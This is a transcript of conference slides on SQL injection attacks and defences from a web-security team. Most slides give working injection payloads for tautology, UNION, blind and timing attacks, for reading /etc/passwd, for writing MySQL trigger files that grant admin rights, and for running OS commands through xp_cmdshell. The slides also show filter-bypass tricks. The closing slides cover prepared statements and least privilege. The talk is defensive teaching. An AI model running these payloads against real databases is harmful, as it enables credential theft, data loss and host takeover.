advanced sql injection attack & defenses

53
Confraria InfoSec Advanced SQL injection: Attacks & Defenses 26/01/2011

Upload: tiago-mendo

Post on 06-May-2015

10.993 views

Category:

Technology


2 download

DESCRIPTION

The objective of this talk is to demonstrate how to subvert some SQLi (bad but popular) defenses and to show how to properly defend against SQLi attacks. We will cover topics such as: - Blind SQLi attacks - Timing SQLi attacks - Encoding attacks - How to subvert some filters - How you should protect your code against SQLi attacks Presented at Confraria Security & IT, 26/01/11 Lisbon note: this is exactly the same talk as given in Codebits IV (2010), without the Codebits CTF qualifier explanation. This talk was co-presented by me and Nuno Loureiro (http://www.slideshare.net/nuno.loureiro)

TRANSCRIPT

Page 1: Advanced SQL Injection Attack & Defenses

Confraria InfoSec Advanced SQL injection:

Attacks & Defenses26/01/2011

Page 2: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team

Summary

2

•  Mo$va$on•  Objec$ves•  What  is  SQLi?•  A8ack  using  Tautologies•  A8ack  using  union  query•  Blind  Injec$on•  Timing  A8acks•  Second  Order  SQLi•  File  System  Access•  Piggy-­‐backed  Queries•  Use  of  SELECT  to  INSERT  or  UPDATE•  Common  Mistakes  while  Protec$ng

•  Int  queries•  Blacklist  Approach

•  Best  Prac$ces•  Prepared  Statements•  Escaping/Valida$ng  Input

Summary:

Page 3: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

Motivation

3

OWASP  Top10  Applica0on  Security  Risks

Page 4: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

Objectives

4

•  Awareness:  •  This  is  a  real  problem  and  it’s  dangerous

•  How  to  protect  your  code:  •  There  are  good  and  bad  protecCons.    

Two  Objec0ves:  

Page 5: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > What is it?

5

• SQL  InjecCon  vulnerabiliCes  are  introduced  when  soJware  developers  use  unstrusted  data  in  the  construcCon  of  dynamic  SQL  queries

What  is  it?

Example  of  Vulnerable  query:

Impact  of  SQLi:

• Data  loss  or  corrupCon• Data  leakage  • DoS• SomeCmes  can  lead  to  complete  host  takeover• ReputaCon  can  be  harmed.

Page 6: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Example of Attack using Tautologies

6

Example  of  Vulnerable  code:

Page 7: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Example of Attack using Tautologies

6

Example  of  Vulnerable  code:

AFack:•  h8p://vuln.example/login?username=x’  or  1=1  limit  0,1-­‐-­‐  -­‐  

Query  executed:•  SELECT  id,group,full_name  FROM  users  WHERE  username=’x’  or  1=1  limit  0,1

Page 8: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Example of Attack using Tautologies

6

Example  of  Vulnerable  code:

AFack:•  h8p://vuln.example/login?username=x’  or  1=1  limit  0,1-­‐-­‐  -­‐  

Query  executed:•  SELECT  id,group,full_name  FROM  users  WHERE  username=’x’  or  1=1  limit  0,1

Query  returns  the  first  row  of  table  users,  thus  you’ll  login  with  that  user  and  see  his  full  name

Page 9: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > More Advanced Attack using union queries

7

Example  of  Vulnerable  code:

AFack:•  h8p://vuln.example/login?username=x’  and  1=0  union  select  null,null,table_name  from  informa$on_schema.tables  limit  30,1-­‐-­‐  -­‐

Query  executed:•  SELECT  id,group,full_name  FROM  users  WHERE  username=’x’  and  1=0  union  select  null,null,table_name  from  informaCon_schema.tables  limit  30,1

Page 10: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > More Advanced Attack using union queries

7

Example  of  Vulnerable  code:

AFack:•  h8p://vuln.example/login?username=x’  and  1=0  union  select  null,null,table_name  from  informa$on_schema.tables  limit  30,1-­‐-­‐  -­‐

Query  executed:•  SELECT  id,group,full_name  FROM  users  WHERE  username=’x’  and  1=0  union  select  null,null,table_name  from  informaCon_schema.tables  limit  30,1

• You  use  the  the  UNION  and  the  3rd  column  of  the  query  (full_name)  to  dump  informaCon  from  the  db• You  can  use  the  ORDER  BY  <fieldNumber>  to  find  the  number  of  columns  in  the  query• You  can  also  use  CONCAT()  to  retrieve  several  fields  as  one  field

Page 11: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Blind injection

8

Page 12: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Blind injection

8

...  but  someCmes  you  are  not  that  lucky.  SomeCmes  the  only  informaCon  you  can  get  is  a  binary  result  -­‐  true  or  false,  1  or  0,  error  or  no-­‐error.  That  is  called  a  Blind  SQLi.

Page 13: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Blind injection

8

...  but  someCmes  you  are  not  that  lucky.  SomeCmes  the  only  informaCon  you  can  get  is  a  binary  result  -­‐  true  or  false,  1  or  0,  error  or  no-­‐error.  That  is  called  a  Blind  SQLi.

Imagine  that  the  following  URL  is  vulnerable  to  a  blind  SQLi:• hAp://vuln.example.com/news.php?id=12

Page 14: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Blind injection

8

...  but  someCmes  you  are  not  that  lucky.  SomeCmes  the  only  informaCon  you  can  get  is  a  binary  result  -­‐  true  or  false,  1  or  0,  error  or  no-­‐error.  That  is  called  a  Blind  SQLi.

Imagine  that  the  following  URL  is  vulnerable  to  a  blind  SQLi:• hAp://vuln.example.com/news.php?id=12

Trying  to  guess  the  table  name:• id=5  union  all  select  1,2,3  from  admin    /*  Returns  an  error  if  table  admin  does  not  exist  */

Page 15: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Blind injection

8

...  but  someCmes  you  are  not  that  lucky.  SomeCmes  the  only  informaCon  you  can  get  is  a  binary  result  -­‐  true  or  false,  1  or  0,  error  or  no-­‐error.  That  is  called  a  Blind  SQLi.

Imagine  that  the  following  URL  is  vulnerable  to  a  blind  SQLi:• hAp://vuln.example.com/news.php?id=12

Trying  to  guess  the  table  name:• id=5  union  all  select  1,2,3  from  admin    /*  Returns  an  error  if  table  admin  does  not  exist  */

Trying  to  guess  the  column  names:• id=5  union  all  select  1,2,passwd  from  admin    /*  Returns  an  error  if  column  passwd  does  not  exist  */

Page 16: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Blind injection

8

...  but  someCmes  you  are  not  that  lucky.  SomeCmes  the  only  informaCon  you  can  get  is  a  binary  result  -­‐  true  or  false,  1  or  0,  error  or  no-­‐error.  That  is  called  a  Blind  SQLi.

Imagine  that  the  following  URL  is  vulnerable  to  a  blind  SQLi:• hAp://vuln.example.com/news.php?id=12

Trying  to  guess  the  table  name:• id=5  union  all  select  1,2,3  from  admin    /*  Returns  an  error  if  table  admin  does  not  exist  */

Trying  to  guess  the  column  names:• id=5  union  all  select  1,2,passwd  from  admin    /*  Returns  an  error  if  column  passwd  does  not  exist  */Extract  ‘username:passwd’  from  table  (char  by  char):• id=5  and  ascii(substring((select  concat(username,0x3a,passwd)  from  users  limit  0,1),1,1))>64  /*  ret  true  */• id=5  and  ascii(substring((select  concat(username,0x3a,passwd)  from  users  limit  0,1),1,1))>96  /*  ret  true  */• id=5  and  ascii(substring((select  concat(username,0x3a,passwd)  from  users  limit  0,1),1,1))>100  /*  ret  false  */• id=5  and  ascii(substring((select  concat(username,0x3a,passwd)  from  users  limit  0,1),1,1))>97  /*  ret  false  */                    (....)• id=5  and  ascii(substring((select  concat(username,0x3a,passwd)  from  users  limit  0,1),2,1))>64  /*  ret  true  */                    (...)

Don’t  worry,  you  have  tools  to  automaCze  this...

Page 17: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Get around blind SQLi > sqlmap

9

sqlmap  can  save  you  a  lot  of  Cme  when  exploiCng  a  blind  SQL  injecCon.  There  are  a  lot  of  other  powerful  opCons  at  your  disposal  as  well...

Page 18: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Timing attacks

10

SomeCmes  you  don’t  even  get  a  True/False  or  Error/Non-­‐Error  response.  In  those  cases  you  need  to  use  a  Timing  aback

A  real  example  -­‐  LightNEasy  CMS  3.2.1:

handle="  UNION  SELECT  IF(SUBSTRING(password,1  ,1)  =  CHAR(98),  BENCHMARK(10000000,  ENCODE('Slow','Down')),  null),2,3,4,5,6,7,8,9,10,11  FROM  lne_users  WHERE  id="1&password=&do=login&=Login

POST  Data:

If  the  first  character  of  the  admin  hash  is  b,  the  query  will  take  around  5  seconds  to  execute

Page 19: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Timing attacks

11

BENCHMARK()  is  MySQL-­‐specific,  but  you  have  alternaCve  funcCons  in  other  DBMS

MySQL BENCHMARK(10000000,md5(1))  or  SLEEP(5)

PostgreSQL PG_SLEEP(5)  or  GENERATE_SERIES(1,1000000)

MS  SQL  Server WAITFOR  DELAY  ‘0:0:5’

Page 20: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Second Order SQLi

12

•  Create  an  user:  EveMalory’  OR  user=‘admin

•  User  logs  in•  Ader  logging  in,  the  script  queries  for  user’s  info  based  on  the  retrieved  username:        SELECT  user,  password,  full_name,  age,  homepage,  gender  FROM  users  WHERE  user=‘EveMalory’  OR  user=‘admin’

•  EveMalory  does  not  exist,  thus  we’ll  read  admin’s  info.  

What  is  it?When  the  abacker  is  able  to  insert  malicious  input  that  does  no  harm  to  the  query  in  the  page  but  will  exploit  a  vulnerability  in  another  page  that  reads  that  malicious  input  to  query  the  database

Example:

Page 21: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > File System Access

13

MySQL  requirements:  FILE  privileges  -­‐>  Have  your  ever  typed  “GRANT  ALL  PRIVILEGES...”?

Read  Access

Page 22: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > File System Access

13

MySQL  requirements:  FILE  privileges  -­‐>  Have  your  ever  typed  “GRANT  ALL  PRIVILEGES...”?

Read  Access

1-­‐  Inject  a  LOAD_FILE()  call  using  your  favorite  SQLi  technique....  union  select  1,1,  LOAD_FILE('/etc/passwd'),1,1;

2-­‐  Get  the  LOAD_FILE()  output.-­‐  5000  chars  limit  if  abusing  a  varchar  column-­‐  early  char  truncate  if  forcing  SQL  errors-­‐  binary  content

Page 23: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > File System Access

13

MySQL  requirements:  FILE  privileges  -­‐>  Have  your  ever  typed  “GRANT  ALL  PRIVILEGES...”?

Read  Access

1-­‐  Inject  a  LOAD_FILE()  call  using  your  favorite  SQLi  technique....  union  select  1,1,  LOAD_FILE('/etc/passwd'),1,1;

2-­‐  Get  the  LOAD_FILE()  output.-­‐  5000  chars  limit  if  abusing  a  varchar  column-­‐  early  char  truncate  if  forcing  SQL  errors-­‐  binary  content

If  you  have  piggy-­‐backed  queries  (and  CREATE  TABLE  privileges)-­‐  create  a  support  table-­‐  redirect  LOAD_FILE()  to  other  file  using  INTO  DUMPFILE,  but  hex  encoded-­‐  read  the  second  file  with  LOAD  DATA  INFILE  to  the  support  table-­‐  read  the  support  table  with  standard  SQLi

CREATE  TABLE  potatoes(line  BLOB);UNION  SELECT  1,1,  HEX(LOAD_FILE('/etc/passwd')),1,1  INTO  DUMPFILE  ‘/tmp/potatoes’;LOAD  DATA  INFILE  '/tmp/potatoes'  INTO  TABLE  potatoes;

Page 24: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > File System Access

14

MySQL  requirements:  FILE  privileges

1-­‐  Use  INTO  DUMPFILE  through  union  or  piggy-­‐backed  SQLi

LimitaCons-­‐  limits  on  GET  parameters  length-­‐  INTO  DUMPFILE  does  not  append  data

Again,  if  you  have  piggy-­‐backed  queries-­‐  create  a  support  table-­‐  INSERT  first  chunk  of  the  file  into  the  table-­‐  using  UPDATE,  CONCAT  the  other  chunks  to  the  first  one-­‐  write  the  file  with  SELECT  INTO  DUMPFILE

Write  Access

Page 25: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > File System Access

15

MySQL  requirements:  FILE  and  INSERT  privileges,  and  piggy-­‐backed  queries

Using  User  Defined  FuncCons  (UDF)-­‐  funcCons  created  from  shared  libraries  on  the  system  to  be  used  in  SELECT  statements

CREATE  FUNCTION  f_name  RETURNS  INTEGER  SONAME  shared_library

Operaang  System  Command  Execuaon

-­‐  Fingerprint  you  target-­‐  DMBS,  version  and  host  OS-­‐  with  that  find  out  the  shared  libraries  paths

-­‐  Create  a  shared  library  locally,  built  with  the  headers  of  the  target-­‐  include  either  the  sys_eval()  or  sys_exec()  funcCon  

-­‐  Upload  the  craJed  shared  library  to  the  shared  libraries  path-­‐  Create  the  UDF-­‐  Execute  the  OS  command  using  the  sys_*()  funcCons

Page 26: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > File System Access

16

MS  SQL  Server  is  our  friend

-­‐  xp_cmdshell()  procedure-­‐  executes  commands  on  the  host  OS-­‐  returns  the  command  output-­‐  newest  versions  have  it  disabled,  but...

-­‐  create  a  support  table-­‐  execute  xp_cmdshell()  and  redirect  output  to  a  temporary  file-­‐  read  the  file  into  the  support  table  using  BULK  INSERT-­‐  SQLi  the  support  table-­‐  clean  up  :)

-­‐  use  xp_cmd_shell()  to  delete  temporary  file-­‐  delete  the  support  table

or,  if  you  don’t  care  about  the  output

-­‐  execute  xp_cmdshell()

Operaang  System  Command  Execuaon

Page 27: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Piggy-backed queries

17

So,  what  can  we  do  if  MySQL  and  PHP/ASP  is  being  used  and  we  want  to  insert  or  update  data?

SQL  Server MySQL   PostgreSQL

ASP

ASP.NET

PHP

The  ability  to  use  the  vulnerability  to  insert  a  second  query

SELECT  user,  password  from  users  where  id=2;  drop  table  users

What  is  it?

Example  (user  input  in  bold):

Page 28: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Use of SELECT to INSERT or UPDATE

18

•  Found  by  Stefano  Di  Paola  from  Minded  Security

•  MySQL  specific

•  Requires  FILE  privileges•  The  idea  is  to  abuse  Triggers  to  insert  or  update  data  •  One  interesCng  property  about  MySQL  Triggers  is  that  they  are        stored  in  text  files  :-­‐)

•  Works  whether  the  DBMS  is  hosted  on  the  same  or  on  a  different  server

•  The  only  problem  is  that,  based  on  my  tests,  MySQL  needs  to  be  restarted  aJer  the  aback

Page 29: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Use of SELECT to INSERT or UPDATE

19

$  cat  /opt/local/var/db/mysql5/test/utu.TRN:TYPE=TRIGGERNAMEtrigger_table=users

$  cat  /opt/local/var/db/mysql5/test/users.TRG:TYPE=TRIGGERStriggers='CREATE  DEFINER=`root`@`localhost`  trigger  utu  before  insert  on  users  for  each  row    set  NEW.groupid=\'admin\''sql_modes=0definers='root@localhost'client_cs_names='laCn1'connecCon_cl_names='laCn1_swedish_ci'db_cl_names='laCn1_swedish_ci'

mysql>  create  trigger  utu  before  insert  on  users  for  each  row    set  NEW.groupid='admin';  Query  OK,  0  rows  affected  (0.57  sec)

How  to  create  a  Trigger  to  update  the  table  users  to  set  the  groupid  as  admin  when  a  new  user  is  created?

Page 30: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Use of SELECT to INSERT or UPDATE

20

mysql>  select  username  from  users  where  id=3  and  1=0  union  select  'TYPE=TRIGGERS'  into  ouKile  '/opt/local/var/db/mysql5/test/users.TRG'  LINES  TERMINATED  BY  '\ntriggers=\'CREATE  DEFINER=`root`@`localhost`  trigger  utu  before  insert  on  users  for  each  row  set  NEW.groupid=\\\'admin\\\'\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs_names=\'laXn1\'\nconnecXon_cl_names=\'laXn1_swedish_ci\'\ndb_cl_names=\'laXn1_swedish_ci\'\n';Query  OK,  1  row  affected  (0.06  sec)

mysql>  select  username  from  users  where  id=3  and  1=0  union  select  'TYPE=TRIGGERNAME'  into  ouKile  '/opt/local/var/db/mysql5/test/utu.TRN'    LINES  TERMINATED  BY  '\ntrigger_table=users\n';Query  OK,  1  row  affected  (0.03  sec)

How  can  we  take  advantage  of  a  SQLi  to  create  the  trigger?

We  can  use  INTO  OUTFILE  to  write  the  trigger  files:

/opt/local/var/db/mysql5/test/users.TRG:

/opt/local/var/db/mysql5/test/utu.TRN:

Page 31: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Some Stats

21

But  wait,  is  SQLi  a  common  problem?  YES!

According  to  exploit-­‐db.com,  from  Sep-­‐Nov  2010  they  reported:•  190  SQLi  vulnerabiliCes  in  popular  Web  Applicaaons,  

•40  were  blind  SQLi•36  were  in  Joomla  Components

Page 32: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Some Stats

22

To  get  this  stats,  I  was  searching  for  the  string  “sql  injecCon”...

..  and  I  noCced  that  the  results  page  was  broken,  so  I  tried  to  exploit  it  and  found  it  was  vulnerable  to  XSS.

I  reported  the  vulnerability  and  it  was  fixed  within  10  minutes.

Page 33: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Wrong Protections

23

Common  Mistakes  When  Protecang  your  Code

Page 34: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Wrong Protections > Int values

24

Page 35: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Wrong Protections > Int values

24

Some  folks  say  that  escaping  user  input  is  enough  (‘  ,  “  ,  \r,  \n,  NUL  and  Control-­‐Z)  to  prevent  SQLi,  but  is  it?

Page 36: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Wrong Protections > Int values

24

Some  folks  say  that  escaping  user  input  is  enough  (‘  ,  “  ,  \r,  \n,  NUL  and  Control-­‐Z)  to  prevent  SQLi,  but  is  it?

Imagine  the  following  query  string  from  user.php  which  displays  the  name  of  the  user  :

Is  this  vulnerable  to  SQLi?

Page 37: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Wrong Protections > Int values

24

Some  folks  say  that  escaping  user  input  is  enough  (‘  ,  “  ,  \r,  \n,  NUL  and  Control-­‐Z)  to  prevent  SQLi,  but  is  it?

Imagine  the  following  query  string  from  user.php  which  displays  the  name  of  the  user  :

Is  this  vulnerable  to  SQLi?

What  if  I  enter  the  following  URL:• hAp://vuln.example.com/user.php?id=12  AND  1=0  union  select  1,concat(user,0x3a,password),

3,4,5,6  from  mysql.user  where  user=substring_index(current_user(),char(64),1)

Page 38: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Wrong Protections > Int values

24

Some  folks  say  that  escaping  user  input  is  enough  (‘  ,  “  ,  \r,  \n,  NUL  and  Control-­‐Z)  to  prevent  SQLi,  but  is  it?

Imagine  the  following  query  string  from  user.php  which  displays  the  name  of  the  user  :

Is  this  vulnerable  to  SQLi?

What  if  I  enter  the  following  URL:• hAp://vuln.example.com/user.php?id=12  AND  1=0  union  select  1,concat(user,0x3a,password),

3,4,5,6  from  mysql.user  where  user=substring_index(current_user(),char(64),1)

mysql_real_escape_string()  will  not  escape  any  character  because  there  isn’t  any  to  be  escaped,  therefore  root:*31EFD0D03381795E5B770791D7A56CCD379F1141  will  be  output  to  the  screen

The  query  result  is  the  following:

Page 39: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Wrong Protections > Alternate Encodings

25

Page 40: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Wrong Protections > Alternate Encodings

25

•  Consider  the  GBK  Chinese  unicode  charset•  Let’s  take  a  look  at  some  characters:

0x 5c = \ 0x 27 = ʼ 0x bf 27 = ¿ʼ 0x bf 5c = 縗

db  interprets  as  2  chars

db  interprets  as  a  single  chinese  char

I  found  this  in  a  Quiz  for  a  Security  course  from  a  popular  University:

Page 41: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Wrong Protections > Alternate Encodings

25

•  Consider  the  GBK  Chinese  unicode  charset•  Let’s  take  a  look  at  some  characters:

0x 5c = \ 0x 27 = ʼ 0x bf 27 = ¿ʼ 0x bf 5c = 縗

db  interprets  as  2  chars

db  interprets  as  a  single  chinese  char

•  Imagine  that  you  use  addslashes()  to  escape  input  in  your  code

•  If  abacker  inputs  ¿' or  1=1 , the string becomes ¿\' (0xbf5c27)

• But  0xbf5c  is  the  chinese  char  縗,  thus  the  resulCng  string  is  interpreted  as  縗‘  OR  1=1

•  In  case  you  haven’t  noCced,  you  just  bypassed  the  escaping  funcCon

I  found  this  in  a  Quiz  for  a  Security  course  from  a  popular  University:

Page 42: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Wrong Protections > Blacklist filtering

26

Page 43: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Wrong Protections > Blacklist filtering

26

•  Blacklists,  i.e  filter  out  some  chars  or  expressions,  is  not  a  good  pracCce

Page 44: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Wrong Protections > Blacklist filtering

26

•  Imagine  that  you  filter  the  following  from  user  input:•  Spaces•  Quotes  (“  and  ‘)•  Some  SQL  keywords  (like  where)

•  Blacklists,  i.e  filter  out  some  chars  or  expressions,  is  not  a  good  pracCce

Page 45: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Wrong Protections > Blacklist filtering

26

•  Imagine  that  you  filter  the  following  from  user  input:•  Spaces•  Quotes  (“  and  ‘)•  Some  SQL  keywords  (like  where)

You  shall  not  use  spaces:SELECT/**/passwd/**/from/**/user              or              SELECT(passwd)from(user)

•  Blacklists,  i.e  filter  out  some  chars  or  expressions,  is  not  a  good  pracCce

Page 46: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Wrong Protections > Blacklist filtering

26

•  Imagine  that  you  filter  the  following  from  user  input:•  Spaces•  Quotes  (“  and  ‘)•  Some  SQL  keywords  (like  where)

You  shall  not  use  spaces:SELECT/**/passwd/**/from/**/user              or              SELECT(passwd)from(user)

You  shall  not  use  quotes:SELECT  passwd  from  users  where  user=0x61646D696E (hex  for  admin)

•  Blacklists,  i.e  filter  out  some  chars  or  expressions,  is  not  a  good  pracCce

Page 47: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Wrong Protections > Blacklist filtering

26

•  Imagine  that  you  filter  the  following  from  user  input:•  Spaces•  Quotes  (“  and  ‘)•  Some  SQL  keywords  (like  where)

You  shall  not  use  spaces:SELECT/**/passwd/**/from/**/user              or              SELECT(passwd)from(user)

You  shall  not  use  quotes:SELECT  passwd  from  users  where  user=0x61646D696E (hex  for  admin)

You  shall  not  use  the  where  keyword:        You  can  use  HAVING  and  IF()  and  ORDER  BY

You  get  the  idea...

•  Blacklists,  i.e  filter  out  some  chars  or  expressions,  is  not  a  good  pracCce

Page 48: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > How to Protect against SQLi?

27

Two  main  defenses:

•  Prepared  Statements  /  Parameterized  Queries

•  Escaping/ValidaCng  Input

Page 49: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Protect against SQLi > Prepared Statements

28

Prepared  Statements:•  Prepared  statements  keep  the  query  structure  and  query  data  separated  through  the  use  of  placeholders  known  as  bound  parameters.  The  developer  must  then  set  values  for  the  placeholders.

•  Prepared  statements  ensure  that  an  abacker  is  not  able  to  change  the  intent  of  a  query,  even  if  SQL  commands  are  inserted  by  an  abacker

Example:

Page 50: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Protect against SQLi > Escaping/Validating INPUT

29

•  If  Prepared  Statements  are  not  possible  you  should  Escape  and  Validate  user  input

•  You  can  also  use  this  technique  in  addi$on  to  prepared  statements

If  you  know  what  input  you  are  expecCng  you  can  validate  it:

•  If  you  are  expecCng  integers  cast  the  input  to  integer  or  use  PHP’s  intval()•  If  you  are  expecCng  an  email  address  you  can  use  a  regexp  to  validate  it•  If  you  are  expecCng  the  user’s  name  it’s  not  so  simple  (because  of  the  ‘)

Escape  all  the  user  input:

•  Each  programming  language  has  its  own  funcCons  or  methods•  in  PHP  you  can  use  addslashes()  (with  cauCon)•  If  possible  use  the  DBMS  specific  escaping  funcCon    (e.g.  mysql_real_escape_string())

Page 51: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > Protect against SQLi > Other

30

•  Create  a  specific  database  user  to  be  used  exclusively  by  your  Web  App

•  Only  grant  the  user  with  the  necessary  privileges  (exclude  file,  drop,  create,  etc  from  the  list)

•  Limit  the  access  to  the  database  to  localhost  only  (if  possible)  or  to  the  Web  frontends

•  Limit  the  access  of  the  database  user  to  the  Web  App  database  only  (don’t  allow  the  db  user  to  access  other  databases)

•  SET  THE  DBMS  ROOT’S  PASSWORD!  (seriously)

•  Use  strong  passwords  in  your  DBMS  for  root  and  all  other  users

Other  important  recommendaaons:

Page 52: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi

31

Thank  you!Quesaons?

Nuno  Loureiro  <[email protected]>Tiago  Mendo  <[email protected]>

Page 53: Advanced SQL Injection Attack & Defenses

SAPO  Websecurity  Team Confraria  InfoSec

SQLi > References

32

•  hAp://websec.wordpress.com/

•  hAp://blog.mindedsecurity.com/•  hAp://www.webappsec.org/

•  hAp://www.owasp.org/

•  Advanced  SQL  injec0on  to  opera0ng  system  full  control,  Bernardo  Damele  Guimarães,  2009

Websites:

Whitepaper: